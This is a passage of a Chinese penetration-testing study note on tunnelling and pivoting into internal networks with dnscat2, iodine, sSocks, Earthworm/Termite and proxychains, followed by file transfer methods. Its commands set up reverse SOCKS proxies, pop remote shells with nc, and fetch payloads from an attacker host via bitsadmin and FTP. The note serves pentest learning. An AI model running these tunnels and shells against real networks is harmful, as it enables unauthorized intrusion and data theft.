listen [<lhost>:]<lport> <rhost>:<rport> #和SSH本地端口转发相似,把Client的端口暴露在dnsServer上,如果使用的是Docker,请注意端口映射的问题
#listen 0.0.0.0:3389 10.10.10.135:3389 例如这样,DNS协议,图形界面就别勉强了
ping
quit #退出dnscat2
set #设置值,比如security=open
unset #取消设置值
shell #弹一个shell
shutdown #断开session
suspend #挂起session
tunnels #查看
window
windows

服务端暂且介绍到此,dnscat2项目中Client也提供了Linux下、Windows下的客户端,编译好即可:

Linux下的dnscat2_client,更多的Client参数这里就不在赘述:

遇到的问题

  • 我想自己编译dnscat2客户端的Windows二进制包,如何编译?
1
2
3
4
5
6
7
make -f Makefile.win
#使用脚本提供的Makefiel.win进行编译
#看了下Makefile.win文件注释,原makefile就是在Linux使用的,我在Linux机器上编译了makefile编译失败
sudo apt-fast install mingw-w64
make #默认的makefile是Linux下的二进制文件
make clean #使用新的Makefile之前记得 clean清除上次make产生的object文件及可执行文件,一般后缀为“.o”文件
make -f Makefile.win #顺利编译

Windows下能够编译么?笔者使用的VS 2019,拉取代码之后加载client/win32/dnscat2.vcproj的解决方案,生成即可,加载的默认编译模式是Debug,手动修改为Release可显著降低编译出的二进制文件大小。

有一点比较疑惑,这几种方式编译出来的Windows 二进制文件大小有很大差别,官方项目编译出的大小仅为139KB,笔者使用的VS2019大小为186KB,使用的PentestBox中的编译器编译出的大小为464KB,在Kali Linu编译的大小为998k。

有知道的师傅也麻烦留言告诉我。。

  • 可能这个问题只有我会遇到,53端口占用的问题:

还记得之前我在NetworkManager.conf里配置了这么一句dns=dnsmasq,该参数会将dnsmasq作为本地DNS服务器运行,并且更新resolv.conf文件指向本地。

1
2
3
4
5
6
7
sudo systemctl stop NetworkManager.service  #先停止NetworkManager服务
sudo vim /etc/NetworkManager/NetworkManager.conf
#dns=dnsmasq #注释

sudo ss -pantu |grep 53 #查看对应的进程
sudo kill -9 pid #kill掉对应的进程
sudo systemctl start NetworkManager.service #这时候重新启动服务加载配置文件,就不会使用dnsmasq作为DNS服务器了,即不占用53端口

iodine

参考:

截止笔者写下该笔记的时候,该项目的最后一次提交是2019年8月,ubuntu 仓库中的最后一个版本是0.7.0,实际上该项目后面也经过一些小改动。

1
2
3
4
5
6
7
sudo apt install iodine #直接仓库安装
git clone https://github.com/yarrick/iodine.git #源码安装
sudo apt-get install pkg-config zlib1g-dev -y
cd iodine/ && make #编译的两个二进制文件在bin目录下
#iodine为客户端,iodined为服务端,后缀带d是的服务端,注意区别
#另外注意客户端和服务端版本需一致
sudo make install #如果想安装到系统中,使用该命令,实际上就是把二进制文件复制到系统目录下

在开始使用之前,还是那句话,DNS记录先配置好,配置的过程请参考dnscat的配置,或者阅读Readme

这种模式和GRE隧道模式很相似,都是建立虚拟网卡进行通信,比较尴尬的一点是,由于是建立虚拟网卡,所以需要目标的root权限。

1
2
3
4
sudo iodined -f -c -P password 10.0.0.1  dns.wu****.** #Server 段
#10.0.0.1指定的是iodine创建的虚拟网卡的网段,客户端无需指定,会自动创建
sudo ./iodine -f -P password dns.wu****.** #Client端
sudo ./iodine -f -P password 10.10.10.128 dns.wu****.** & #有时候,你会看到这样的写法,不要误会,这里的10.10.10.128指定是DNS服务器,并不是虚拟网卡的地址

其实iodine的用途也就到这里了,可以看出功能很有限,这个工具还可以怎么用?配合其他工具使用。

1
2
3
#比如从创建SSH隧道创建代理将流量代理到目标内网中,但是从流量特征上走的是DNS协议
ssh -CfNg -D port ubuntu@10.0.0.1 #10.0.0.1是iodine建立的虚拟网卡ip
#nc弹shell

小结:这个工具就介绍到这里,工具确实有点简陋,不过某些场景下这种工具也很好用。

Socks协议

参考:

SOCKS——wiki

这个我觉得应该是在测试过程中用的最广的协议,按OSI七层模型,该协议属于会话层,位于表示层和传输层之间,前段时间看到了LDAP隧道,也是属于会话层,这个层数有什么意义,比较重要的一点是它能代理会话层的之上的所有协议,在HTTP协议实现的隧道技术时,有一点我没有提到,HTTP只能代理TCP,这是它的协议底层所决定,HTTP协议建立在TCP协议之上。

这个协议最初由David Koblas开发,而后由NEC的Ying-Da Lee将其扩展到SOCKS4。最新协议是SOCKS5,与前一版本相比,增加支持UDP、验证,以及IPv6。——wiki

相关的RFC 文档是rfc1928RFC 1929RFC 1961RFC 1961 ,目前主要的用的socks协议有几个版本:socks4、socks4a、socks5。

详细的协议理论笔者确实没去看,只关注了一个细节,socks4a是socks4协议扩展,它多了一个效果就是代理解析,不使用本地的DNS解析解析结果,而是代理服务端DNS进行解析的结果,另外,有一些场景使用的是socks5,但是又不想使用代理DNS解析的结果,proxychains客户端proxychains.conf配置文件中可以禁用代理该DNS代理,其他的socks客户端同理可配置解析。

socks客户端

笔者频繁使用的客户端有以下几个:

proxychains

  • proxychains-ng

    proxychains的一个改进版

  • proxychains

    Kali默认的版本是proxychains是3.x,项目已经更新到了4.3了

注:不仅支持Socks4、socks协议,另外支持HTTP协议。

这两个项目都是貌似编译出的二进制文件都是proxychains4,如果你想使用proxychains以前的版本,仓库中也能直接安装,分别使用sudo apt install proxychainssudo apt install proxychains4安装。

参考:

通过 ProxyChains-NG 实现终端下任意应用代理

1
2
3
4
5
6
7
git clone https://github.com/rofl0r/proxychains-ng #看个人设置,默认的也可以
./configure --prefix=/usr --sysconfdir=/etc
make&& sudo make install && sudo make install-config

#默认的配置文件 /etc/proxychains.conf
#如何使用这种代理呢
proxychains4 command #在想使用代理的程序加上Proxychains4前缀就好

​ proxychains-ng另外有多种模式:

  • strict_chain:严格模式,每个链接都通过链接代理完成,按列表顺序链接,所有代理需要在线(默认)

  • dynamic_chain:动态模式,按照列表顺序链接,至少一个代理可用,跳过不能用的代理

  • random_chain:随机模式,每个链接都随机通过列表中的代理完成,

  • round_robin_chain:轮询模式,按列表顺序链接,至少一个代理可用,跳过不可用的代理,如果轮询到了列表末尾,从列表开始从头再来。

原来有一个想法就是采集一批代理,使用proxychains-ng的random_chain模式随机使用代理

由于笔者常使用的shell是zsh,在oh-my-zsh中有一个插件提供了一个快键键自动添加前缀使用代理。

1
2
3
4
git clone https://github.com/six-ddc/zsh-proxychains-ng.git ~/.oh-my-zsh/custom/plugins/zsh-proxychains-ng
echo "plugins+=(zsh-proxychains-ng)" >> ~/.zshrc
source ~/.vimrc
#说实话有点不太好用,alias是比较好的,不过原版也还行,另外我的其他插件自动补全也做到够好了,没必要使用这个了。

SocksCap64

Windows下一款很好用的socks代理客户端,图形界面,看GUi就知道怎么用了,唯一要说的一个和Windows系统特性有关:进程的权限继承,这个特性在lsh4ck的文章说过,具体来说就是本地hash注入模拟用户起一个SocksCap进程,然后在SocksCap代理ssms.exe,ssms.exe会继承模拟的用户权限,因为ssms默认支持Windows登录验证,这个技巧在某些场景中很有用。

Proxifier

和SocksCap64相似,功能上我不在赘述,多说一点,一些软件的全局代理并不真正的代理,它只应用本身支持Socks5代理,若应用本身不支持,则不走代理,Proxifier和前面SocksCap64无论应用是否支持,都通过代理进行,你需要在测试中明白这点。

socks服务端

其实这个才是这一部分的重点,标题有点不太合适,实际上也有一些工具也自带了Socks客户端的角色。

sSocks

参考:

[通向彼岸 之内网代理转发 [ ssocks反向代理篇 ]

笔者使用sSocks是国人54Pany从原项目ssocks修改源码的项目:

1
2
3
sudo chmod u+x configure #默认没给权限
./configure && make && sudo make install
#编译的结果在src目录,一共5个可执行文件,ssocksd、nsocks、rcsocks、rssocks、ssocks

Windows下的客户端直接在VS下使用nmake -f Makefile.nmake,bin目录下已经输出了编译好的Windows的二进制文件。

主要的几个可执行文件介绍下功能:

  • nsocks:类似于socks5的netcat,用于测试socks服务器
  • ssocksd:socks5的服务端,
  • rssocks:反向socks的服务端
  • rcsocks:反向socks5的客户端
  • ssocks:一个socks5中继,在“localhost”接口上运行一个socks服务器,并将所有数据中继到参数中指定的socks5服务器

另外主要还有两个主要的配置文件:

  • ssocksd.auth:socks链接的认证文件,我的位置是在“/usr/local/etc/ssocksd.conf”,如果在目标上使用,建议修改文件名
  • ssocksd.conf :socks服务的配置文件,我的位置是在“/usr/local/etc/ssocksd.auth”

正向代理的用法:

1
2
3
ssocksd.exe -p 1080 -d
sudo vim /etc/proxychains.conf
socks5 10.10.10.134 #直接代理

反向代理的用法

1
2
3
4
5
6
7
8
rssocks.exe -s 10.10.10.128:88 -b #Client 
#-b 后台执行 -s socks server
sudo rcsocks -p 88 -l 1080 -b #Server 上执行
sudo vim /etc/proxychains.conf
socks5 127.0.0.1 1080 #当然测试过程中这个配置是你的VPS,也不要被我这句固定中用法,灵活运用工具
#剩下的就代理进对方内网就好
curl -U admin:abcde --socks5 127.0.0.1:1080 www.perdu.com #测试代理是否可用,当然这个命令只在目标能访问perdu.com的时候有效
#没有用户名和密码请自行去掉参数

中继代理的用法

1
2
3
4
5
6
7
ssocksd.exe -p 80 -a auth.txt  -d #内网机器上,这里是192.168.3.75
#auth.txt 的内容是 admin:abcde
ssocks.exe -s 192.168.3.75:80 -l 8080 -u admin -p abcde -b #边界机器上,这里是192.168.3.132
sudo vim /etc/proxychains.conf
socks5 192.168.3.132 1080
#剩下的代理进对方内网就好
#其实这种方式中继的代理很有限,如果没有边界机器(准确是说有公网ip的机器)的控制权限就没法用了

小结一下,这三种用法对应前面提到了测试过程中对应的三种场景,相信你看到这里,应该知道如何突破内网限制了。

Earthworm/Termite

参考:

通过纯 ‘节点地图’ 的形式轻松实现更复杂的内网穿透 termite——文件

【代理篇】内网穿透利器——Termite

Termite项目是Earthworm的改进版本,这个工具是一个国人师傅@rootkiter写的,提供了多平台客户端,闭源,目前已经不再更新,并且提供了yara规则进行检测,当然笔者这里也不会说其他的工具没有特征,只是大家请酌情使用。

1
2
3
4
#下载的文件主要两个目录
admin #管理端
agent #客户端节点
#可执行文件平台自行选择

admin和agent的主要参数都在上面了,理解下这个工具的操作逻辑就好,下面列出了主要使用的这几种场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#适用于边界机器有公网ip的场景
agent -l port #agent监听端口,当然的是公网ip的主机
admin -c ip -p port #直接正向链接

#边界机器没有公网ip但是能出网
agent -l port #VPS
agent -c ip -p port #边界机器,同理不一定是边界机器,只要能出网的机器都可以
admin -c ip -p port #链接至VPS

#边界机器没有公网ip,目标机器不出网,链接至边界机器
agent -l port #VPS
agent -c ip -p port #边界机器
admin -c ip -p port #链接至VPS
goto id #边界机器
listen port

agent -c ip -p port #目标机器连接值边界机器的ip和listen的port

构建了一系列的网络有什么作用,重点关注下socks功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
goto id #机器的id
socks port ## 注意低端口需要高权限的问题,开启0-1023端口需要root权限
#配置对应的端口代理就好
sudo vim /etc/proxychains.conf
socks5 127.0.0.1 port

#另外可将本地的端口映射至远程机器的端口,和SSH隧道的本地端口转发效果相似,不过这个是到目标内网
goto id
lcxtran lport rhost rport #注意这个lport 是当前admin的port
backtran [rport] [lhost] [lport] #rport 是当前goto id机器上的port

shell port #弹回一个shell
nc -vv 127.0.0.1 port #直接弹回一个shell
# upfile和downfile就字面意思,上传下来就好了

小结:这个工具我是现在才知道,说实话,确实佩服作者@rootkiter,可惜没有继续开发了,在我看来,这东西该有的功能都有,特别是这个网络地图,是不是有点Cobalt Strike的拓扑感觉,可以作为一个小型RAT,上传文件、下载文件、反弹shell、端口转发、反向socks、隧道构建……,隧道构建可以说是工具的核心功能了,这里叨叨了一堆,总之这个工具在这一系列隧道工具思路很棒,但是工具稳定性等还需要改进,已经不更新,只能寻找替代品或者改进。

这里在扯一些前辈们的经验之谈:尽量避免socks到目标中进行扫描,精度和速度都非常依赖你的网络环境,尽量使用机器自带的工具进行扫描。

文件的传输

文件压缩

Winrar

如果想复现的话不要下载代理中文版本,中文版本无参数说明,笔者是在官网下载的英文版本,在安装目录下开启命令行使用rar.exe即可,详细的参数这里不再说明。

1
2
3
4
5
6
7
rar.exe a -k -r -s -m5 D:\Test.rar "C:\Program Files\WinRAR" #压缩文件
#后缀zip也可以
Rar.exe e D:\Test.rar #解压到当前目录
Rar.exe x D:\Test.rar D:\Test #解压到指定目录
rar.exe a -k -r -s -m3 -v1m D:\Test.rar "C:\Program Files\WinRAR" #分卷压缩,将压缩文件分成多个文件,限制大小
rar.exe e D:\Test.part01.rar D:\Test #只要指定part01文件开始就好
#另外如果目录不存在也会出错,尽量保证目标rar压缩版本和rar解压版本一致

如果目标机器没有安装,可以尝试从已安装的机器拷贝到目标机器上。

7zip

其实这是笔者日常用的压缩软件,挺好用的,日后使用推荐。

1
2
3
4
5
6
7z.exe a -r  C:\test.7z C:\7zip\ #压缩文件
#建议使用 -ppasswrod 增加选项
7z.exe x "C:\test.7z" -o"C:\Test" #解压缩文件
#如果有密码需补充-ppassword选项
7z.exe a -r -v1m C:\test.7z C:\7zip\ #分卷压缩
7z.exe x "C:\test.7z.001" -o"C:\Test" #分卷解压缩

makecab

参考:

Windows下自带压缩文件工具之-makecab

makecab——微软文档

这个笔者个人比较推荐,这个命令Windows自带。

1
2
3
4
5
6
7
8
9
10
11
12
13
makecab  text.doc text.zip 
#还支持其他格式zip、rar、cab
makecab text.zip text.doc
#需要注意的是后缀名手动指定,否则无法识别

makecab /D compressiontype=lzx /D compressionmemory=21 / Test.exe text.cab
#压缩类型 lzx 压缩率 10-21
#如何压缩多个文件
dir /b >>name.txt
makecab /f name.txt
#已知的坑,默认大小为1424KB
指定参数 /d maxdisksize=1024000000 这是是1000000KB
#如果文件后缀为空或者文件名有空格都会报错,需要""包围。

上传和下载

Bistadmin

参考:

41_bitsadmin一句话下载payload

1
bitsadmin /transfer down /download /priority normal "http://192.168.1.115/robots.txt" E:\PDF\robots.txt

Debug /Powershell

参考:

exe2hex

主要作用是将二进制程序转化为ASCII hex文件,然后使用内置的命令将其恢复。主要有两种模式还原:

  • Debug.exe(-b)还原,注意:x64的机器不带debug
  • powershell.exe(-p)还原,x86和x64都支持,适用于Win7/Windows Server 2008R2以后的系统
1
2
exe2hex -x /usr/share/windows-resources/binaries/nc.exe -p /home/kali/nc.txt -v
exe2hex -x /usr/share/windows-resources/binaries/nc.exe -p /home/kali/nc.txt -v

如果你拥有一个shell,有无法上传文件,那么可以考虑这种方式,虽然效率低,适用于小文件(大概200KB左右),太大的文件需要输入的hex字符太多了。

FTP

参考:第四十课:ftp一句话下载payload

1
2
3
4
5
6
echo open 192.168.1.115 21> ftp.txt
echo 123>> ftp.txt //user
echo 123>> ftp.txt //password
echo binary >> ftp.txt //bin模式
echo get robots.txt >> ftp.txt
echo bye >> ftp.txt
  • VBS
  • certutil
  • vbs

总结

至此,对这一章的学习到这里暂告一段落,大概两周都在家里摸鱼看这一章,期间遇到各种编译、Docker等问题,有些问题我独立解决,有些请教各位师傅,在这里也感谢各位师傅,但都一一解决了,有些工具虽然很老了,但是它的思路足够优秀,值得学习。

写这个笔记耗费了我大量的时间,如果真的有读到这里的师傅,感谢你的阅读。

如果我的笔记帮助到你,给我一点鼓励可以吗(●ˇ∀ˇ●)